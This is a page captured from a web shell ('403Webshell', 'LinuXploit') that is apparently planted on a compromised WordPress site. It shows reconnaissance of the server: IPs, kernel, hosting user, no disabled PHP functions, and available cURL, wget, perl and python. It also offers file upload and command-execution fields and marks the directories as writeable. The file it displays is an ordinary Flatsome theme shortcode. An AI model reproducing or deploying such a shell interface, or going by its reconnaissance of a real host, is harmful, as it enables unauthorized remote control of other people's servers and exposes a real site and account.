403Webshell
Server IP : 172.67.158.161  /  Your IP : 3.137.222.30
Web Server : LiteSpeed
System : Linux business53.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : giankuin ( 1871)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/giankuin/dangky.bnnagency.com/wp-content/themes/flatsome/inc/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/giankuin/dangky.bnnagency.com/wp-content/themes/flatsome/inc/shortcodes//ux_sidebar.php
<?php


function flatsome_sidebar_shortcode( $atts ){

  extract( shortcode_atts( array(
    'id' => 'sidebar-main',
    'class' => '',
    'visibility' => '',
    'style' => ''
  ), $atts ) );

  // Stop if visibility is hidden
  if($visibility == 'hidden') return;


	$classes	= array( 'sidebar-wrapper' , 'ul-reset' );
	if( $class ) $classes[] = $class;
	if( $visibility ) $classes[] = $visibility;
	if( $style ) $classes[] = 'widgets-'.$style;

	$classes = implode(' ', $classes);

	ob_start();
	dynamic_sidebar($id);
	$sidebar = trim( ob_get_clean() );

	return '<ul class="'.$classes.'">'.$sidebar.'</ul>';

}
add_shortcode('ux_sidebar', 'flatsome_sidebar_shortcode');

Youez - 2016 - github.com/yon3zu
LinuXploit